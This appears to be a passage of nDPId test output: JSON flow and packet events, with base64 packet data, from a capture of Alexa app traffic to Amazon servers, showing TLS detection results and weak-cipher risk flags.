+00844{"flow_id":133,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2492,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":821259,"pkt_caplen":364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":364,"pkt_l4_len":330,"pkt":"AMDKkaPvePiC0\/vCCABFAAFeSjZAAEAGw4+sECrYNu8d\/Z+uAbuBOkMOoFMrglAYAVf\/egAAkxoF3knfO6ULUgEZYQoRhi\/Vn\/n+FiZLYhlOKuYCFKC5etiXjsp35pE+VKNnASJ9NwUzvz3iUMgm8phh2xBpyvCcCNcenN\/vPA42+RzUSykPt7k92uagy1KOBrDw7xb8E79CNugQyC6wM8xE1uG3U2OHMVKhJNefAsYLiQ4YlzQyuriNj1IJmEd9YnOWQ2NJc+vkBh6rEEQ5mkFNBDv\/An1jCWueOJzAx0JT1eXEDQmClOF4Iv6qW3txgSyNCsv2kXyCxzu+3km86eC5j\/j0BGUjozi03DbUELN9oCY2bcYJIwQem\/OlBhfahw4hDU+C33NXk3gUbpFQS6N+GCb8NVQi7I+k5RgsycxnwFGZAiHeQfGQD8xPoPkNw00P8sY7Qi2HA2Cw3MzDllmv0Ed54+mmHa2bng=="} +00634{"flow_id":133,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2493,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":821390,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AMDKkaPvePiC0\/vCCABFAADCSjdAAEAGxCqsECrYNu8d\/Z+uAbuBOkREoFMrglAYAVfOpwAAFwMBACAWxvN46g6VgVkZs0Q094LfgT\/pq9o\/SEAEMU9QrE06nRcDAQBwKXftPLjaa9RHJvDxrfOeAnk+zpErXzihm2xYqtTKGH4v5h7Cmhb8rfYcc1NFC8fQGwT\/0HfP9\/hEMUIL0I10Zoykkcbz0G273bRWcQjZsLzatb25\/hBybT1hGkCbuDmZ4b7hpuHawnx8vrzS4wZC7A=="} +00425{"flow_id":133,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2494,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976143,"pkt_ts_usec":16796,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAovV1AAOcGqp027x39rBAq2AG7n66gUyuCgTo9WlAQf\/fYNAAAAAAAAAAA"} +00445{"flow_id":84,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2505,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976149,"pkt_ts_usec":40436,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8m\/tAAEAGPh6sECrYCsl+8Z0yH5CNbMQpAAAAAKAC\/\/9fhQAAAgQFtAQCCAoA9niIAAAAAAEDAwg="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2506,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1490976150029,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45750,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":134,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2506,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":29230,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA86ydAAEAGW8esECrYNF7ohrK2AbvOUJPOAAAAAKAC\/\/\/DwQAAAgQFtAQCCAoA9njpAAAAAAEDAwg="} +00430{"flow_id":134,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2507,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":125051,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwoZ9AAOcG\/lo0XuiGrBAq2AG7sra0EJrCzlCTz3ASH\/4K2QAAAgQFtAEDAwY="} +00416{"flow_id":134,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2508,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":126970,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo6yhAAEAGW9qsECrYNF7ohrK2AbvOUJPPtBCaw1AQAVdVSgAA"} +00742{"flow_id":134,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2509,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":127984,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEX6ylAAEAGWuqsECrYNF7ohrK2AbvOUJPPtBCaw1AYAVchEAAAFgMBAOoBAADmAwOKdjFFpOOXsbbSqMMeJaFC\/d12VQO5ox2KdTo39VCnrCB4kgfiZLrEZoIvfOT\/tQMGZLL4w9FhfVsGJHEZL4q82wAgiorMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9OjoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACHp6AB0AFwAYSkoAAQA="} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2509,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":134,"flow_packet_id":4,"flow_first_seen":1490976150029,"flow_last_seen":1490976150127,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45750,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00425{"flow_id":134,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2510,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":196553,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAokKxAAOcGD1Y0XuiGrBAq2AG7sra0EJrDzlCUvlAQf\/jVuQAAAAAAAAAA"} +00538{"flow_id":134,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2511,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":196755,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9kK5AAOcGDv80XuiGrBAq2AG7sra0EJrDzlCUvlAYf\/ioFQAAFgMBAEoCAABGAwFY3n2WsKEO5j\/+XQ3InBz8BmJWU6tqL8GGvPxEhHBE0SB4kgfiZLrEZoIvfOT\/tQMGZLL4w9FhfVsGJHEZL4q82wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2511,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":134,"flow_packet_id":6,"flow_first_seen":1490976150029,"flow_last_seen":1490976150196,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45750,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00491{"flow_id":134,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2512,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":196807,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdkLBAAOcGDx00XuiGrBAq2AG7sra0EJsYzlCUvlAYf\/g0tAAAFgMBADASYFDIqpzI2dQ4RB9g2j6Kixqtu5sqtDIGdUVHpCxbAK9w8U0NNpbUWqlnRm3UmlM="} +00416{"flow_id":134,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2513,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":197780,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo6ypAAEAGW9isECrYNF7ohrK2AbvOUJS+tBCbGFAQAVdUBgAA"} +00416{"flow_id":134,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2514,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":198368,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo6ytAAEAGW9esECrYNF7ohrK2AbvOUJS+tBCbTVAQAVdT0QAA"} +00499{"flow_id":134,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2515,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":201483,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABj6yxAAEAGW5usECrYNF7ohrK2AbvOUJS+tBCbTVAYAVdiRgAAFAMBAAEBFgMBADCwuv8XBYK0+AHTDf78NuYcAQ5Wd60Wpm3oTJFtOxaTinjcMJIvU0VlbtkQLiDDMss="} +01362{"flow_id":134,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2516,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":210618,"pkt_caplen":752,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":752,"pkt_l4_len":718,"pkt":"AMDKkaPvePiC0\/vCCABFAALi6y1AAEAGWRusECrYNF7ohrK2AbvOUJT5tBCbTVAYAVeamQAAFwMBACCKzEam9ljsPv33r5OYYXaerLCH5q\/e7mZVb1oKLZ6xTBcDAQKQbsP4hTQxEHzwbyWJgK+7PhnWvP4lfEyWd6PsbIsn+4BF0w6jXmi5MnjZoAytLgr8gk8rEI1fiZM2yGqgDI+W2snl4rSsIFqAWuS4zJJAu2d3RL1sqcRkSQ29uJAB5CV3hdTFti1bWa5xsNhRp4wMLKKDqBkE3iOujKFmSY0JT5jbUtkuFS2ZRG64BTVxuxxH9wYwdQ58guUg\/7cNsvaAEJ2m7ZwkLyr2n810iIQZWuKz+BPmbXOkD4wVwBUVhrdWuqHvyyXYsvRjDV3851FqDyFWcykpl9QKUCaqHouoTdBOI98JdJyjPNIl+8sSmQxCsdOeJd8akqK9wBBtimOTNFi7QNs+dvMmzMwfYyWk4UuGccGXGA5hPKHbYbHMnkhW8u\/HIV+R91KDyQrSY\/qcRWjuVSD7ILEa5ipSPEzdGIOwXLpjZx874hMt06yrgOxrWvtKjqN11kmBDLxUX0yiwAurxpxM1La9gViCSpjNwsDtGyR0RpKRgu9saf4M4HMjdukuawa+Wx8atMyqHW5e+RSpc8N5uoDxFMD9oorfKniD2jyyuTCcasZ\/+\/PH+xTqMkFnCCHggzDnqCD+ZiEeIM6LVGPnSfPtp9T0SoRzvtkzgrXYc0KH1U+nOldDRjbyy0FUTp3v2HYe5gxcfvRzgSrv76mnOOMsKZYV\/RRcvzGrSWF\/o6LtdnobY7Vr8MGwUu7b+6xx1LpdhCwA9i\/PNiZZC+NpNhGujtqjWcUuBlzQMH+NgV2D6mrdsqILf\/TFM6GOCGiCBzza9XQ0ptOlpGzeHvCJNUP+zMntb5RVUgkLPlpNZCCgBchWaMgRhWleT+KuBw7H1UJBcBIDSiunAluakZmQsn6MMKqDMwagATw="} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":82,"flow_packet_id":23,"flow_first_seen":1490976085829,"flow_last_seen":1490976088478,"flow_tot_l4_data_len":4832,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":210,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45704,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":83,"flow_packet_id":19,"flow_first_seen":1490976085832,"flow_last_seen":1490976088478,"flow_tot_l4_data_len":3003,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45705,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":85,"flow_packet_id":6,"flow_first_seen":1490976085884,"flow_last_seen":1490976088478,"flow_tot_l4_data_len":148,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45707,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00494{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":85,"flow_packet_id":6,"flow_first_seen":1490976085884,"flow_last_seen":1490976088478,"flow_tot_l4_data_len":148,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45707,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":79,"flow_packet_id":20,"flow_first_seen":1490976082723,"flow_last_seen":1490976084872,"flow_tot_l4_data_len":5448,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":272,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34053,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00527{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":80,"flow_packet_id":7,"flow_first_seen":1490976082964,"flow_last_seen":1490976084873,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34054,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00494{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":80,"flow_packet_id":7,"flow_first_seen":1490976082964,"flow_last_seen":1490976084873,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34054,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":86,"flow_packet_id":2,"flow_first_seen":1490976085891,"flow_last_seen":1490976085978,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"192.168.11.1","src_port":38434,"dst_port":8080,"l4_proto":"tcp","ndpi": {"proto":"HTTP_Proxy","breed":"Acceptable","category":"Web"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":86,"flow_packet_id":2,"flow_first_seen":1490976085891,"flow_last_seen":1490976085978,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"192.168.11.1","src_port":38434,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":78,"flow_packet_id":27,"flow_first_seen":1490976080485,"flow_last_seen":1490976081484,"flow_tot_l4_data_len":8508,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":315,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38404,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":134,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2517,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976150,"pkt_ts_usec":473730,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAolzNAAOcGCM80XuiGrBAq2AG7sra0EJtNzlCU+VAQf\/fU9QAAAAAAAAAA"} +01362{"flow_id":134,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2526,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976156,"pkt_ts_usec":847148,"pkt_caplen":752,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":752,"pkt_l4_len":718,"pkt":"AMDKkaPvePiC0\/vCCABFAALi6y5AAEAGWRqsECrYNF7ohrK2AbvOUJT5tBCbTVAYAVeamQAAFwMBACCKzEam9ljsPv33r5OYYXaerLCH5q\/e7mZVb1oKLZ6xTBcDAQKQbsP4hTQxEHzwbyWJgK+7PhnWvP4lfEyWd6PsbIsn+4BF0w6jXmi5MnjZoAytLgr8gk8rEI1fiZM2yGqgDI+W2snl4rSsIFqAWuS4zJJAu2d3RL1sqcRkSQ29uJAB5CV3hdTFti1bWa5xsNhRp4wMLKKDqBkE3iOujKFmSY0JT5jbUtkuFS2ZRG64BTVxuxxH9wYwdQ58guUg\/7cNsvaAEJ2m7ZwkLyr2n810iIQZWuKz+BPmbXOkD4wVwBUVhrdWuqHvyyXYsvRjDV3851FqDyFWcykpl9QKUCaqHouoTdBOI98JdJyjPNIl+8sSmQxCsdOeJd8akqK9wBBtimOTNFi7QNs+dvMmzMwfYyWk4UuGccGXGA5hPKHbYbHMnkhW8u\/HIV+R91KDyQrSY\/qcRWjuVSD7ILEa5ipSPEzdGIOwXLpjZx874hMt06yrgOxrWvtKjqN11kmBDLxUX0yiwAurxpxM1La9gViCSpjNwsDtGyR0RpKRgu9saf4M4HMjdukuawa+Wx8atMyqHW5e+RSpc8N5uoDxFMD9oorfKniD2jyyuTCcasZ\/+\/PH+xTqMkFnCCHggzDnqCD+ZiEeIM6LVGPnSfPtp9T0SoRzvtkzgrXYc0KH1U+nOldDRjbyy0FUTp3v2HYe5gxcfvRzgSrv76mnOOMsKZYV\/RRcvzGrSWF\/o6LtdnobY7Vr8MGwUu7b+6xx1LpdhCwA9i\/PNiZZC+NpNhGujtqjWcUuBlzQMH+NgV2D6mrdsqILf\/TFM6GOCGiCBzza9XQ0ptOlpGzeHvCJNUP+zMntb5RVUgkLPlpNZCCgBchWaMgRhWleT+KuBw7H1UJBcBIDSiunAluakZmQsn6MMKqDMwagATw="} +00425{"flow_id":134,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2527,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976157,"pkt_ts_usec":263632,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAolx9AAOcGCOM0XuiGrBAq2AG7sra0EJtNzlCXs1AQf+zSRgAAAAAAAAAA"} +01192{"flow_id":134,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2528,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976157,"pkt_ts_usec":263710,"pkt_caplen":619,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":619,"pkt_l4_len":585,"pkt":"ePiC0\/vCAMDKkVoBCABFAAJdlz9AAOcGBo40XuiGrBAq2AG7sra0EJtNzlCXs1AY\/b9ruQAAFwMBAjCBmVFlSzNSE06WNq\/BsDE\/xl8iNlCoaOONVU5kEfmPj5C5xGmakDrWy62Bk8z9jS1f\/8fwLRX1sJjUawbbli3ZR59M0OjI+kxDciMMLIk4DdRp6wlXYDRU2FfDu7ZEJsod6Zif0AD49hKF8mimkjq1Ld5DvESc\/qFD1qPbk1VWTjhO1fOHRYEQPS2F0L6\/aI7+Cn2b5yK\/A6OoITNFe22Ie5\/EJaXU1HPgkQtgDpFNnf9BKw8io3\/wcPniYx2CHy0ssK0q7WRPieD7AYHjmTUjUioWN\/cx7KinE2J5WAcmZ1\/mgBVgxc\/YqUthFjDyqGyiV1ewjvy1LXS2FVS9PH368TcUryH5x8qr89VRayrWCOKWiUACFDVM+QT6lTqI6Bf+EpbLfrjewRXDy+3Vw\/3G9WndrLFXjsavnAFYn6FnlAPf8dXN9A9YMxrZWK+ktzsSjtgnIdfNWduw32UWPka3XNYKe7zSatI3EMX3BdPmGI0nSU\/QrbIShtZbAo+ZdBDObiHE3MtbcMXwGI179AERQj63IgkKbne5Bvk2vb0mLfXUXIFwUwxJo03cNVpt8fHW\/h75PkTyPzN1x\/X5twoy4hdgcRzNbBLLHxqJIxwVtMnLFey83b86OjiNyXqNccfmHX1LJGzvQupzwSlrdIo6ZOSRxHuK0WVcVMZMbdw0ldlZq0oNI2xi9bphHjVGc3ojy3HDIMERwphzxNIQ9prTvMYr2m7RxN5MOjDUaWp1XQ=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2531,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1490976158680,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45751,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":135,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2531,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976158,"pkt_ts_usec":680003,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8\/ohAAEAGSGasECrYNF7ohrK3Abt2joLDAAAAAKAC\/\/8pLAAAAgQFtAQCCAoA9nxLAAAAAAEDAwg="} +00429{"flow_id":135,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2532,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976158,"pkt_ts_usec":840127,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwc8dAAOcGLDM0XuiGrBAq2AG7sreYM6oZdo6CxHASH\/6AKwAAAgQFtAEDAwY="} +00417{"flow_id":135,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2533,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976158,"pkt_ts_usec":841362,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo\/olAAEAGSHmsECrYNF7ohrK3Abt2joLEmDOqGlAQAVfKnAAA"} +00743{"flow_id":135,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2534,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976158,"pkt_ts_usec":842060,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEX\/opAAEAGR4msECrYNF7ohrK3Abt2joLEmDOqGlAYAVepYwAAFgMBAOoBAADmAwPtGRNrH\/FF66PH1PCooAX1Dd1\/3OeWvWeSDYxuFGcUDiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAg6urMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9GhoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACBoaAB0AFwAYamoAAQA="} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2534,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":135,"flow_packet_id":4,"flow_first_seen":1490976158680,"flow_last_seen":1490976158842,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45751,"dst_port":443,"l4_proto":"tcp","ndpi": 